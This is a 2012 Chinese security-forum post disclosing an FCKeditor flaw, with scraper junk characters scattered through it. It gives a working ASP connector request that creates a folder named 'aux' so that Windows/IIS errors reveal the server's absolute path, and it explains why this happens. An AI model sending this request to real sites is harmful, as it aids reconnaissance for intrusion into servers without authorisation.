找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2198|回复: 0
打印 上一主题 下一主题

最新FCKeditor爆绝对路径漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:39:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
代码:FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux) x9 z* I/ I, C5 m) D5 X# ~) S! Z7 j
2 s! ~$ y: S/ ^8 G. ~  A9 n( M

3 R+ ]+ ^8 Y$ M1 t; M8 d% J  Q! o版本未测试。。。: U5 E! c* y  ^* D- r0 Y# ~: q

' u+ \$ F, o; J2 ^) p* l" C" q; R原理:新建个aux文件夹,aux在windows系统不支持,所以会报错,爆出绝对路径,这个比较鸡肋。求大神别喷。。。
/ t" o2 V) Z7 K! ^: y' } 3 S3 j! B3 n. Z; F
/ N7 t- q7 }1 z. p. B, m) ?7 `
听说IIS都可以。。2 H  @; [& Q9 Q6 m0 }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表